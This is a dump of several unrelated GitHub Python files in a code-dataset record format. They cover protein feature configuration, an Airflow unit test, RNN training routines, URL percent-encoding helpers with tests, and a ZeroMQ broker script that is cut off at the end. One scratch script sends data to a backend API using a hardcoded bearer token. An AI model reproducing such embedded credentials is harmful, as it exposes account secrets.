0\r\n    extra_pair_dim: int = 0\r\n    coord_noise: float = 0\r\n\r\n    @property\r\n    def include_res_ty(self):\r\n        \"\"\"Whether to include residue type features\"\"\"\r\n        return self.joint_embed_res_pair_rel_sep \\\r\n               or self.embed_res_ty \\\r\n               or self.one_hot_res_ty  # noqa\r\n\r\n    @property\r\n    def include_rel_pos(self):\r\n        \"\"\"Whether to include residue position features\"\"\"\r\n        return self.embed_res_rel_pos or self.one_hot_res_rel_pos\r\n\r\n    @property\r\n    def include_bb_dihedral(self):\r\n        \"\"\"Whether to include bb dihedral features\"\"\"\r\n        return self.embed_bb_dihedral or self.one_hot_bb_dihedral or \\\r\n               self.fourier_encode_bb_dihedral  # noqa\r\n\r\n    @property\r\n    def include_centrality(self):\r\n        \"\"\"Whether to include centrality features\"\"\"\r\n        return self.embed_centrality or self.one_hot_centrality or self.rbf_encode_centrality\r\n\r\n    @property\r\n    def include_rel_sep(self):\r\n        \"\"\"Whether to include relative separation features\"\"\"\r\n        return self.one_hot_rel_sep or self.embed_rel_sep \\\r\n               or self.joint_embed_res_pair_rel_sep  # noqa\r\n\r\n    @property\r\n    def include_rel_dist(self):\r\n        \"\"\"Whether to include relative distance features\"\"\"\r\n        return self.one_hot_rel_dist or self.embed_rel_dist or self.rbf_encode_rel_distance\r\n\r\n    @property\r\n    def rel_dist_atom_pairs(self) -> List[Tuple[str, str]]:\r\n        \"\"\"atom pairs to use for relative distance\"\"\"\r\n        tys = self.rel_dist_atom_tys\r\n        return list(zip(tys[::2], tys[1::2]))\r\n\r\n    @property\r\n    def include_tr_ori(self):\r\n        \"\"\"Whether to include TrRosetta orientation features\r\n\r\n        Note: CB atom must be present to sue these features - can add\r\n        \"impute_cb\" flag to data loader if this atom is not available.\r\n        \"\"\"\r\n        return self.embed_tr_rosetta_ori or self.fourier_encode_tr_rosetta_ori \\\r\n               or self.one_hot_tr_rosetta_ori  # noqa\r\n\r\n    @property\r\n    def include_rel_ori(self):\r\n        \"\"\"Whether to include relative orientation information\r\n        e.g. quaternion of (pairwise) relative orientation matrices.\r\n        \"\"\"\r\n        return self.quat_encode_rel_ori\r\n\r\n    @property\r\n    def has_extra(self):\r\n        \"\"\"Whether the input features include flags\"\"\"\r\n        return self.extra_residue_dim > 0 or self.extra_pair_dim > 0\r\n\r\n    @property\r\n    def descriptors(self) -> List[FeatureDescriptor]:\r\n        \"\"\"Get a list of FeatureDescriptors\r\n        For all features specified by the config\r\n        \"\"\"\r\n        descriptors = []\r\n\r\n        if self.embed_sec_struct:\r\n            descriptors.append(\r\n                FeatureDescriptor(\r\n                    name=FeatureName.SS,\r\n                    ty=FeatureTy.RESIDUE,\r\n                    encode_dim=3,\r\n                    embed_dim=self.sec_struct_embed_dim,\r\n                    embed_tys=[FeatureEmbeddingTy.EMBED]\r\n                )\r\n            )\r\n\r\n        if self.include_res_ty:\r\n            descriptors.append(\r\n                FeatureDescriptor(\r\n                    name=FeatureName.RES_TY,\r\n                    ty=FeatureTy.RESIDUE,\r\n                    encode_dim=len(AA_ALPHABET),\r\n                    embed_dim=self.res_ty_embed_dim,\r\n                    embed_tys=_get_encoding_tys(\r\n                        embed=self.embed_res_ty,\r\n                        one_hot=self.one_hot_res_ty\r\n                    )\r\n\r\n                )\r\n\r\n            )\r\n\r\n        if self.include_rel_pos:\r\n            descriptors.append(\r\n                FeatureDescriptor(\r\n                    name=FeatureName.REL_POS,\r\n                    ty=FeatureTy.RESIDUE,\r\n                    encode_dim=self.res_rel_pos_encode_dim,\r\n                    embed_dim=self.res_rel_pos_embed_dim,\r\n                    embed_tys=_get_encoding_tys(\r\n                        embed=self.embed_res_rel_pos,\r\n                        one_hot=self.one_hot_res_rel_pos\r\n                    )\r\n                )\r\n\r\n            )\r\n\r\n        if self.include_bb_dihedral:\r\n            descriptors.append(\r\n                FeatureDescriptor(\r\n                    name=FeatureName.BB_DIHEDRAL,\r\n                    ty=FeatureTy.RESIDUE,\r\n                    encode_dim=self.bb_dihedral_encode_dim,\r\n                    embed_dim=self.bb_dihedral_embed_dim,\r\n                    embed_tys=_get_encoding_tys(\r\n                        embed=self.embed_bb_dihedral,\r\n                        one_hot=self.one_hot_bb_dihedral,\r\n                        fourier=self.fourier_encode_bb_dihedral,\r\n                    ),\r\n                    mult=3,\r\n                    n_fourier_feats=self.n_bb_dihedral_fourier_feats\r\n                ),\r\n            )\r\n\r\n        if self.include_centrality:\r\n            descriptors.append(\r\n                FeatureDescriptor(\r\n                    name=FeatureName.CENTRALITY,\r\n                    ty=FeatureTy.RESIDUE,\r\n                    encode_dim=self.centrality_encode_dim,\r\n                    embed_dim=self.centrality_embed_dim,\r\n                    embed_tys=_get_encoding_tys(\r\n                        embed=self.embed_centrality,\r\n                        one_hot=self.one_hot_centrality,\r\n                        rbf=self.rbf_encode_centrality,\r\n                    ),\r\n                    rbf_radii=self.centrality_rbf_radii,\r\n                ),\r\n            )\r\n\r\n        if self.include_rel_sep:\r\n            descriptors.append(\r\n                FeatureDescriptor(\r\n                    name=FeatureName.REL_SEP,\r\n                    ty=FeatureTy.PAIR,\r\n                    encode_dim=len(self.rel_sep_encode_bins),\r\n                    embed_dim=self.rel_sep_embed_dim,\r\n                    embed_tys=_get_encoding_tys(\r\n                        embed=self.embed_rel_sep,\r\n                        one_hot=self.one_hot_rel_sep,\r\n                    ),\r\n                ),\r\n            )\r\n\r\n        if self.include_rel_dist:\r\n            descriptors.append(\r\n                FeatureDescriptor(\r\n                    name=FeatureName.REL_DIST,\r\n                    ty=FeatureTy.PAIR,\r\n                    encode_dim=self.rel_dist_encode_dim,\r\n                    embed_dim=self.rel_dist_embed_dim,\r\n                    embed_tys=_get_encoding_tys(\r\n                        embed=self.embed_rel_dist,\r\n                        one_hot=self.one_hot_rel_dist,\r\n                        rbf=self.rbf_encode_rel_distance,\r\n                    ),\r\n                    mult=len(self.rel_dist_atom_tys) // 2,\r\n                    rbf_sigma=np.mean([(x-y) for x,y in zip(self.rel_dist_rbf_radii[1:],self.rel_dist_rbf_radii[:-1])]),\r\n                    rbf_radii=self.rel_dist_rbf_radii,\r\n                ),\r\n            )\r\n\r\n        if self.include_tr_ori:\r\n            descriptors.append(\r\n                FeatureDescriptor(\r\n                    name=FeatureName.TR_ORI,\r\n                    ty=FeatureTy.PAIR,\r\n                    encode_dim=self.tr_rosetta_ori_encode_dim,\r\n                    embed_dim=self.tr_rosetta_ori_embed_dim,\r\n                    embed_tys=_get_encoding_tys(\r\n                        embed=self.embed_tr_rosetta_ori,\r\n                        one_hot=self.one_hot_tr_rosetta_ori,\r\n                        fourier=self.fourier_encode_tr_rosetta_ori,\r\n                    ),\r\n                    mult=3,\r\n                    n_fourier_feats=self.tr_rosetta_fourier_feats,\r\n\r\n                ),\r\n            )\r\n\r\n        if self.quat_encode_rel_ori:\r\n            descriptors.append(\r\n                FeatureDescriptor(\r\n                    name=FeatureName.REL_ORI,\r\n                    ty=FeatureTy.PAIR,\r\n                    encode_dim=4,\r\n                    embed_dim=4,\r\n                    embed_tys=[FeatureEmbeddingTy.NONE]\r\n                ),\r\n            )\r\n\r\n        if self.encode_local_rel_coords:\r\n            descriptors.append(\r\n                FeatureDescriptor(\r\n                    name=FeatureName.REL_COORD,\r\n                    ty=FeatureTy.PAIR,\r\n                    encode_dim=3,\r\n                    embed_dim=3,\r\n                    embed_tys=[FeatureEmbeddingTy.NONE]\r\n                ),\r\n            )\r\n\r\n        if self.one_hot_rel_chain:\r\n            descriptors.append(\r\n                FeatureDescriptor(\r\n                    name=FeatureName.REL_CHAIN,\r\n                    ty=FeatureTy.PAIR,\r\n                    encode_dim=5,\r\n                    embed_dim=5,\r\n                    embed_tys=[FeatureEmbeddingTy.ONEHOT]\r\n                ),\r\n            )\r\n\r\n        if self.extra_pair_dim > 0:\r\n            descriptors.append(\r\n                FeatureDescriptor(\r\n                    name=FeatureName.EXTRA_PAIR,\r\n                    ty=FeatureTy.PAIR,\r\n                    encode_dim=self.extra_pair_dim,\r\n                    embed_dim=self.extra_pair_dim,\r\n                    embed_tys=[FeatureEmbeddingTy.NONE]\r\n                ),\r\n            )\r\n\r\n        if self.extra_residue_dim > 0:\r\n            descriptors.append(\r\n                FeatureDescriptor(\r\n                    name=FeatureName.EXTRA_RES,\r\n                    ty=FeatureTy.RESIDUE,\r\n                    encode_dim=self.extra_residue_dim,\r\n                    embed_dim=self.extra_residue_dim,\r\n                    embed_tys=[FeatureEmbeddingTy.NONE]\r\n                ),\r\n            )\r\n\r\n        if self.include_sc_dihedral:\r\n            descriptors.append(\r\n                FeatureDescriptor(\r\n                    name=FeatureName.SC_DIHEDRAL,\r\n                    ty=FeatureTy.RESIDUE,\r\n                    embed_tys=[FeatureEmbeddingTy.NONE],\r\n                    encode_dim=21,\r\n                    embed_dim=21,\r\n                ),\r\n            )\r\n\r\n        return descriptors\r\n\r\n    def include_feat(self, name: Union[str, FeatureName]) -> bool:\r\n        \"\"\"Whether the config specifies the given feature\"\"\"\r\n        name = name if isinstance(name, str) else name.value\r\n        if name == FeatureName.REL_POS.value:\r\n            return self.include_rel_pos\r\n        if name == FeatureName.REL_SEP.value:\r\n            return self.include_rel_sep\r\n        if name == FeatureName.REL_DIST.value:\r\n            return self.include_rel_dist\r\n        if name == FeatureName.BB_DIHEDRAL.value:\r\n            return self.include_bb_dihedral\r\n        if name == FeatureName.CENTRALITY.value:\r\n            return self.include_centrality\r\n        if name == FeatureName.RES_TY.value:\r\n            return self.include_res_ty\r\n        if name == FeatureName.TR_ORI.value:\r\n            return self.include_tr_ori\r\n        if name == FeatureName.REL_ORI:\r\n            return self.include_rel_ori\r\n        if name == FeatureName.REL_COORD:\r\n            return self.encode_local_rel_coords\r\n        if name == FeatureName.REL_CHAIN:\r\n            return self.one_hot_rel_chain\r\n        if name == FeatureName.EXTRA_RES:\r\n            return self.extra_residue_dim > 0\r\n        if name == FeatureName.EXTRA_PAIR:\r\n            return self.extra_pair_dim > 0\r\n        if name == FeatureName.SC_DIHEDRAL:\r\n            return self.include_sc_dihedral\r\n\r\n\r\nclass FeatureTy(Enum):\r\n    \"\"\"Feature Type flag\r\n    \"\"\"\r\n    RESIDUE, COORD, PAIR = 1, 2, 3\r\n\r\n\r\nclass FeatureEmbeddingTy(Enum):\r\n    \"\"\"Feature Type flag\r\n    \"\"\"\r\n    RBF, ONEHOT, EMBED, FOURIER, NONE = 0, 1, 2, 3, 4\r\n\r\n\r\ndef _get_encoding_tys(one_hot=False, embed=False, rbf=False, fourier=False) -> List[FeatureEmbeddingTy]:\r\n    \"\"\"Encoding type for feature\"\"\"\r\n    encoding_tys = []\r\n    if one_hot:\r\n        encoding_tys.append(FeatureEmbeddingTy.ONEHOT)\r\n    if embed:\r\n        encoding_tys.append(FeatureEmbeddingTy.EMBED)\r\n    if rbf:\r\n        encoding_tys.append(FeatureEmbeddingTy.RBF)\r\n    if fourier:\r\n        encoding_tys.append(FeatureEmbeddingTy.FOURIER)\r\n    return encoding_tys\r\n\r\n\r\nclass FeatureName(Enum):\r\n    \"\"\"Identifiers for each feature type\r\n    \"\"\"\r\n    REL_POS = \"rel_pos\"\r\n    REL_SEP = \"rel_sep\"\r\n    REL_DIST = \"rel_dist\"\r\n    BB_DIHEDRAL = \"bb_dihedral\"\r\n    CENTRALITY = \"centrality\"\r\n    RES_TY = \"res_ty\"\r\n    TR_ORI = \"tr_ori\"\r\n    REL_ORI = \"rel_ori\"\r\n    REL_COORD = \"rel_coord\"\r\n    REL_CHAIN = \"rel_chain\"\r\n    EXTRA_RES = \"extra_res\"\r\n    EXTRA_PAIR = \"extra_pair\"\r\n    SS = \"sec_struct\"\r\n    SC_DIHEDRAL=\"sc_dihedral\"\r\n\r\n\r\nFEATURE_NAMES = [\r\n    FeatureName.REL_POS,\r\n    FeatureName.REL_SEP,\r\n    FeatureName.REL_DIST,\r\n    FeatureName.BB_DIHEDRAL,\r\n    FeatureName.CENTRALITY,\r\n    FeatureName.RES_TY,\r\n    FeatureName.TR_ORI,\r\n    FeatureName.REL_ORI,\r\n    FeatureName.REL_COORD,\r\n    FeatureName.REL_CHAIN,\r\n    FeatureName.EXTRA_RES,\r\n    FeatureName.EXTRA_PAIR,\r\n    FeatureName.SS,\r\n    FeatureName.SC_DIHEDRAL,\r\n]\r\n","repo_name":"MattMcPartlon/AttnPacker","sub_path":"protein_learning/features/feature_config.py","file_name":"feature_config.py","file_ext":"py","file_size_in_byte":16161,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"21"}
+{"seq_id":"73028068533","text":"# -*- coding: utf-8 -*-\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport unittest\nfrom datetime import datetime, timedelta\n\nfrom airflow.ti_deps.deps.not_in_retry_period_dep import NotInRetryPeriodDep\nfrom airflow.utils.state import State\nfrom fake_models import FakeDag, FakeTask, FakeTI\n\n\nclass NotInRetryPeriodDepTest(unittest.TestCase):\n\n    def test_still_in_retry_period(self):\n        \"\"\"\n        Task instances that are in their retry period should fail this dep\n        \"\"\"\n        dag = FakeDag()\n        task = FakeTask(dag=dag, retry_delay=timedelta(minutes=1))\n        ti = FakeTI(\n            task=task,\n            state=State.UP_FOR_RETRY,\n            end_date=datetime(2016, 1, 1),\n            is_premature=True)\n\n        self.assertFalse(NotInRetryPeriodDep().is_met(ti=ti, dep_context=None))\n\n    def test_retry_period_finished(self):\n        \"\"\"\n        Task instance's that have had their retry period elapse should pass this dep\n        \"\"\"\n        dag = FakeDag()\n        task = FakeTask(dag=dag, retry_delay=timedelta(minutes=1))\n        ti = FakeTI(\n            task=task,\n            state=State.UP_FOR_RETRY,\n            end_date=datetime(2016, 1, 1),\n            is_premature=False)\n\n        self.assertTrue(NotInRetryPeriodDep().is_met(ti=ti, dep_context=None))\n\n    def test_not_in_retry_period(self):\n        \"\"\"\n        Task instance's that are not up for retry can not be in their retry period\n        \"\"\"\n        dag = FakeDag()\n        task = FakeTask(dag=dag)\n        ti = FakeTI(task=task, state=State.SUCCESS)\n\n        self.assertTrue(NotInRetryPeriodDep().is_met(ti=ti, dep_context=None))\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/apache_incubator-airflow/incubator-airflow-master/tests/ti_deps/deps/not_in_retry_period_dep.py","file_name":"not_in_retry_period_dep.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"20043779423","text":"'''\nThis module can be used to train models according to the following training rules\n\tBPTT:\n\tGenetic:\n\tHebian:\n\tFORCE:\n\nAuthor: Brandon McMahan\nJune 24, 2019\n'''\n\nimport numpy as np \nfrom rnn import RNN \nimport rnntools as r\nfrom task.williams import Williams \nimport utils\nimport matplotlib.pyplot as plt \nfrom train.bptt import Bptt \nfrom train.genetic import Genetic \nfrom train.hebian_clone import Hebian\nfrom train.force_BM import Force\nfrom FP_Analysis import FindFixedPoints\nfrom task.contexttask import ContextTask\n\n#RNN architecture\ninput_size = 1\nhidden_size = 50\noutput_size = 1\n\n#create the task\ntask = Williams()\ncontext_task = ContextTask()\n\n\ndef TrainBPTT(identifier, hidden_size=hidden_size, num_epochs=2_000, learning_rate=1e-4):\n\tbptt_model = RNN(input_size, hidden_size, output_size, var=0.01)\n\t#train BPTT\n\t\n\t#num_epochs=2_000\n\ttrial_length=40\n\ttrainer=Bptt(bptt_model, task, learning_rate, num_epochs, trial_length)\n\ttrainer.init_network()\n\ttrainer.trainBPTT()\n\tF = bptt_model.GetF()\n\troots, pca = FindFixedPoints(F, [1,0.9,0.8,0.7,0.6,0.5,0.4,0.3,0.2,0.1,\\\n\t\t\t\t-0.1,-0.2,-0.3,-0.4,-0.5,-0.6,-0.7,-0.8,-0.9,-1], num_hidden=hidden_size)\n\tbptt_model.pca = pca\n\tbptt_model.save('bptt_model'+str(identifier))\n\treturn bptt_model\n\ndef TrainBPTT_context(identifier, hidden_size=hidden_size, num_epochs=10_000, learning_rate=5e-5):\n\tbptt_model = RNN(4, hidden_size, 1, var=0.01)\n\t#train BPTT\n\t\n\ttrial_length=40\n\ttrainer=Bptt(bptt_model, context_task, learning_rate, num_epochs, trial_length)\n\ttrainer.init_network()\n\ttrainer.trainBPTT()\n\t#F = bptt_model.GetF()\n\t#roots, pca = FindFixedPoints(F, [1,0.9,0.8,0.7,0.6,0.5,0.4,0.3,0.2,0.1,\\\n\t#\t\t\t-0.1,-0.2,-0.3,-0.4,-0.5,-0.6,-0.7,-0.8,-0.9,-1], num_hidden=hidden_size)\n\t#bptt_model.pca = pca\n\tbptt_model.save('bptt_context_model'+str(identifier))\n\tplt.plot(bptt_model.losses)\n\tplt.show()\n\treturn bptt_model\n\ndef TrainGenetic(identifier, num_generations=15):\n\tgenetic_model = RNN(input_size, hidden_size, output_size)\n\t#train model using genetic algorithm\n\tnum_pop=50\n\tsigma=0.01\n\t#num_generations=15\n\ttrainer = Genetic(genetic_model, task, num_generations)\n\ttrainer.trainGenetic(num_pop, sigma, batch_size=50, num_parents=5, mutation=0.1)\n\tF = genetic_model.GetF()\n\troots, pca = FindFixedPoints(F, [[1],[0.9],[0.8],[0.7],[0.6],[0.5],[0.4],[0.3],[0.2],[0.1],\\\n\t\t\t\t[-0.1],[-0.2],[-0.3],[-0.4],[-0.5],[-0.6],[-0.7],[-0.8],[-0.9],[-1]])\n\tgenetic_model.pca = pca\n\tgenetic_model.save('genetic_model'+str(identifier))\n\treturn genetic_model\n\n\ndef TrainHebian(identifier, num_epochs=2_000):\n\thebian_model = RNN(input_size, hidden_size, output_size)\n\t#train model using Hebian learning\n\ttrainer = Hebian(hebian_model, task, alpha_trace = 0.5)\n\ttrainer.TrainHebbian(num_trials=num_epochs)\n\tF = hebian_model.GetF()\n\troots, pca = FindFixedPoints(F, [1,0.9,0.8,0.7,0.6,0.5,0.4,0.3,0.2,0.1,\\\n\t\t\t\t-0.1,-0.2,-0.3,-0.4,-0.5,-0.6,-0.7,-0.8,-0.9,-1])\n\thebian_model.pca = pca\n\thebian_model.save('hebian_model'+str(identifier))\n\treturn hebian_model\n\n\ndef TrainFORCE(identifier, num_epochs=2_000):\n\tforce_model = RNN(input_size, hidden_size, output_size)\n\t#train model using FORCE\n\ttrainer = Force(force_model, task, alpha=1000)\n\ttrainer.trainForce(num_trials=num_epochs)\n\tF = force_model.GetF()\n\troots, pca = FindFixedPoints(F, [1,0.9,0.8,0.7,0.6,0.5,0.4,0.3,0.2,0.1,\\\n\t\t\t\t-0.1,-0.2,-0.3,-0.4,-0.5,-0.6,-0.7,-0.8,-0.9,-1])\n\tforce_model.pca = pca\n\tforce_model.save('force_model'+str(identifier))\n\treturn force_model\n","repo_name":"bmcmahan2016/RNN_Learning","sub_path":"train_models.py","file_name":"train_models.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73365813814","text":"import json\r\nimport requests\r\n\r\nurl = \"https://backend.coreproject.moe/api/v1/anime\"\r\nheaders = {\"accept\": \"application/json\", \"Authorization\": \"Bearer uBRFvhuEDUiuviXU\"}\r\nfiles = {\r\n    \"banner\": open(\"image.webp\", \"rb\"),\r\n    \"cover\": open(\"image.webp\", \"rb\"),\r\n}\r\ndata = {\r\n    \"aired_from\": \"1998-04-03T00:00:00Z\",\r\n    \"anilist_id\": 1,\r\n    \"producers\": [2, 3],\r\n    \"mal_id\": 1,\r\n    \"kitsu_id\": 1,\r\n    \"name_japanese\": \"fadsfasd\",\r\n    \"themes\": [1, 2],\r\n    \"name\": \"fdafsdfa\",\r\n    \"name_synonyms\": \"baka,dasf\",\r\n    \"genres\": [1, 2],\r\n    \"aired_to\": \"1998-04-03T00:00:00Z\",\r\n    \"synopsis\": \"dfadfadsfa\",\r\n    \"source\": \"3dsffasfas\",\r\n    \"studios\": [1, 2],\r\n    \"rating\": 11,\r\n}\r\ndata = json.dumps(data)\r\nprint(data)\r\nresponse = requests.post(url, headers=headers, files=files, data=data)\r\nprint(response.json())\r\n","repo_name":"baseplate-admin/CoreProject","sub_path":"tools/seeder/seeders/automation/tempCodeRunnerFile.py","file_name":"tempCodeRunnerFile.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"21"}
+{"seq_id":"8548269036","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n# 2014-01-19T19:39+08:00\n# http://blog.csdn.net/ubiter/article/details/19809145\n\nfrom re import compile as re_compile\n\n_percent_pat = re_compile(b'((?:%[A-Fa-f0-9]{2})+)')\n_unreserved_chars = frozenset(b'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n                              b'abcdefghijklmnopqrstuvwxyz'\n                              b'0123456789'\n                              b'_.-')\n\n# A simple implement of  \"urllib.parse.unquote\"\ndef percent_decode(string, encoding = 'utf-8', errors = 'replace'):\n    str_bytes = string.encode('utf-8')\n    hex_to_byte = lambda match_ret: \\\n                  bytes.fromhex(\n                      match_ret.group(0).replace(b'%', b'').decode('utf-8'))\n    str_bytes = _percent_pat.sub(hex_to_byte, str_bytes)\n    string = str_bytes.decode(encoding, errors)\n    return string\n\n# A simple implement of \"urllib.parse.unquote_plus\"\ndef percent_decode_plus(string, encoding = 'utf-8', errors = 'replace'):\n    return percent_decode(string.replace('+', '%20'), encoding, errors)\n\n# A simple implement of \"urllib.parse.quote\"\ndef percent_encode(string, safe = '/', encoding = 'utf-8', errors = 'strict'):\n    if not string:\n        return string\n    string = string.encode(encoding, errors)\n    bytes_unchanged = _unreserved_chars.union(\n        safe.encode('ascii', 'ignore'))\n    process_byte = lambda byte: chr(byte) if byte in bytes_unchanged \\\n                   else '%{:02X}'.format(byte)\n    return ''.join((process_byte(b) for b in string))\n\n# A simple implement of \"urllib.parse.quote_plus\"\ndef percent_encode_plus(string, safe = '', encoding = 'utf-8',\n                        errors = 'strict'):\n    safe += ' '\n    string = percent_encode(string, safe, encoding, errors)\n    return string.replace(' ', '+')\n\nif __name__ == '__main__':\n    import unittest\n    import urllib.parse\n\n    class TestURIParse(unittest.TestCase):\n        def setUp(self):\n            pass\n        def tearDown(self):\n            pass\n        def doTest(self, str_, str_with_space, encoding_list):\n            for en in encoding_list:\n                # print('Test encoding:', en)\n\n                str_enc = percent_encode(str_, encoding = en)\n                self.assertEqual(\n                    str_enc, urllib.parse.quote(str_, encoding = en))\n\n                str_with_space_enc = percent_encode_plus(\n                    str_with_space, encoding = en)\n                self.assertEqual(\n                    str_with_space_enc,\n                    urllib.parse.quote_plus(str_with_space, encoding = en))\n\n                # print('Test decoding:', en)\n                self.assertEqual(percent_decode(str_enc, encoding = en),\n                                 urllib.parse.unquote(str_enc, encoding = en))\n                self.assertEqual(\n                    percent_decode(str_with_space_enc, encoding = en),\n                    urllib.parse.unquote(str_with_space_enc, encoding = en))\n                self.assertEqual(\n                    percent_decode_plus(str_with_space_enc, encoding = en),\n                    urllib.parse.unquote_plus(\n                        str_with_space_enc, encoding = en))\n        def testChinese(self):\n            fn = 'Beyond-海阔天空'\n            fn_with_space = 'Beyond 海 阔 天 空'\n            encoding_list = ('utf-8', 'gb2312', 'gbk', 'utf-16', 'utf-16-le',\n                             'utf-16-be', 'utf-32', 'utf-32-le', 'utf-32-be',\n                             'gb18030')\n            self.doTest(fn, fn_with_space, encoding_list)\n        def testReservedChars(self):\n            reserved_chars = \"!*'();:@&=+$,/?#[]\"\n            encoding_list = ('utf-8', 'gb2312', 'gbk', 'utf-16', 'utf-16-le',\n                             'utf-16-be', 'utf-32', 'utf-32-le', 'utf-32-be',\n                             'gb18030')\n            self.doTest(reserved_chars, reserved_chars, encoding_list)\n        def testEmptyString(self):\n            self.doTest('', '', ('utf-8', 'utf-16-be', 'utf-32-le'))\n        def testURL(self):\n            url = 'http://www.baidu.com/'\n            url_with_space = 'http://www.baidu.com/黑 客 帝 国.rmvb'\n            encoding_list = ('utf-8', 'gb2312', 'gbk', 'utf-16', 'utf-16-le',\n                             'utf-32', 'utf-32-le', 'gb18030')\n            self.doTest(url, url_with_space, encoding_list)\n        def testFileName(self):\n            file_name = '%5B%E9%81%93%E5%BE%B7%E6%83%85%E6%93%8D%E8%AE%BA%5D.%E4%B8%AD%E5%A4%AE%E7' \\\n                        '%BC%96%E8%AF%91%E5%87%BA%E7%89%88%E7%A4%BE%EF%BC%88%E8%B0%A2%E5%AE%97%E6%9E' \\\n                        '%97%E8%AF%91%29'\n            self.assertEqual(percent_decode(file_name),\n                             urllib.parse.unquote(file_name))\n        def testRealURL(self):\n            wiki_page = 'http://zh.wikipedia.org/wiki/%E7%99%BE%E5%88%86%E5%8F%B7%E7%BC%96%E7%A0%81'\n            self.assertEqual(percent_decode(wiki_page),\n                             urllib.parse.unquote(wiki_page))\n                \n    unittest.main()\n\n\n# References:\n# https://www.codeproject.com/Articles/7828/CHttpClient-A-Helper-Class-Using-WinInet\n# https://github.com/ProgerXP/Notepad2e/blob/master/src/Extension/StrToURL.c\n# https://github.com/bonsmile/lxd/blob/main/encoding.cpp\n","repo_name":"myd7349/Ongoing-Study","sub_path":"python/uriparse.py","file_name":"uriparse.py","file_ext":"py","file_size_in_byte":5259,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"21"}
+{"seq_id":"74807722612","text":"import argparse\nimport zmq\nimport sys\nimport time\nfrom signal import signal, SIGINT\nfrom threading import Thread\n\nfrom zmq_api import (\n\tlisten_for_pub_data,\n\tlisten_for_pub_registration,\n\tlisten_for_sub_registration,\n\tlisten_for_pub_discovery_req,\n\tpublish_to_sub,\n\tregister_broker,\n\tdisconnect,\n)\n\nprint(f\"Current libzmq version is {zmq.zmq_version()}\")\nprint(f\"Current  pyzmq version is {zmq.__version__}\")\n\nparser = argparse.ArgumentParser ()\nparser.add_argument (\"-zk\", \"--zookeeper_ip\", type=str, default=\"10.0.0.7\", help=\"Zookeeper IP Address\")\nparser.add_argument (\"-zp\", \"--zookeeper_port\", type=int, default=2181, help=\"Zookeeper Port\")\nparser.add_argument (\"-m\", \"--max_pub_count\", type=int, default=-1, help=\"Maximum number of data propagations through broker.\")\nparser.add_argument (\"-k\", \"--keep_alive\", type=int, default=-1, help=\"Time to keep the broker alive.\")\nparser.add_argument (\"-a\", \"--auto_mode\", default=False, action=\"store_true\")\nargs = parser.parse_args ()\n\nthreads = []\nterminating = False\n\ndef handler(signal_received, frame):\n\tglobal terminating\n\t# Handle any cleanup here\n\tprint('SIGINT or CTRL-C detected. Exiting gracefully')\n\tterminating = True\n\tdisconnect()\n\texit(0)\n\nsignal(SIGINT, handler)\n\ndef register_subs():\n\tglobal terminating\n\ttry:\n\t\twhile not terminating:\n\t\t\t# Listen for new subs to come onto the system\n\t\t\tlisten_for_sub_registration()\n\texcept:\n\t\tprint(\"Sub registration listener ended\")\n\n\ndef register_pubs():\n\tglobal terminating\n\ttry:\n\t\twhile not terminating:\n\t\t\t# Listen for new subs to come onto the system\n\t\t\tlisten_for_pub_registration()\n\texcept:\n\t\tprint(\"Pub registration listener ended\")\n\ndef process_discovery():\n\tglobal terminating\n\ttry:\n\t\twhile not terminating:\n\t\t\t# Listen for new subs to come onto the system\n\t\t\tlisten_for_pub_discovery_req()\n\texcept:\n\t\t\tprint(\"Pub discovery listener ended\")\n\ndef pub_data_processor():\n\tglobal terminating\n\tmax_pub_count = args.max_pub_count\n\tpub_count = 0\n\ttry:\n\t\twhile not terminating:\n\t\t# Break if we have exceeded the maximuim count\n\t\t\tif (max_pub_count != -1 and pub_count >= max_pub_count):\n\t\t\t\tprint(\"max pub count hit\")\n\t\t\t\tterminating = True\n\t\t\t\tdisconnect()\n\t\t\t\tsys.exit(0)\n\n\t\t\t\tbreak\n\t\t\t#else:\n\t\t\t#\tprint(f\"Max: {max_pub_count}, current: {pub_count}\")\n\n\t\t\treceive_pub_data()\n\t\t\tpub_count += 1\n\texcept:\n\t\tprint(\"Data propagator ended\")\t\t\t\n\ndef receive_pub_data():\n\t# Get the pub message\n\tstring = listen_for_pub_data()\n\n\tif string != None:\n\t\t# Forward published data to the appropriate subs\n\t\tpublish_to_sub(string)\n\n\n# Register broker\n#zk_ip = \"10.0.0.7\"\nzk_ip = args.zookeeper_ip\nzk_port = args.zookeeper_port\nregister_broker(zk_ip,zk_port)\n\n# Start new listener for subs\nt = Thread(target=register_subs, args=())\nt.start()\nthreads.append(t)\n\nt = Thread(target=register_pubs, args=())\nt.start()\nthreads.append(t)\n\n# Start new listener for discovery requests\nt = Thread(target=process_discovery, args=())\nt.start()\nthreads.append(t)\n\n# Start pub data listener\nt = Thread(target=pub_data_processor, args=())\nt.start()\nthreads.append(t)\n\n#if not args.auto_mode:\n\nif args.keep_alive == -1:\n\t#while True:\n\t#\tpass\n\t# Wait for input to kill the broker and terminate connections\n\tinput (\"Disconnect from the server -- Press any key to continue\")\n\tprint(\"Disconnected from the server\")\n\tterminating = True\n\tdisconnect()\n\tsys.exit(0)\nelse:\n\ttime.sleep(args.keep_alive)\n\tprint(\"Disconnected from the server\")\n\tterminating = 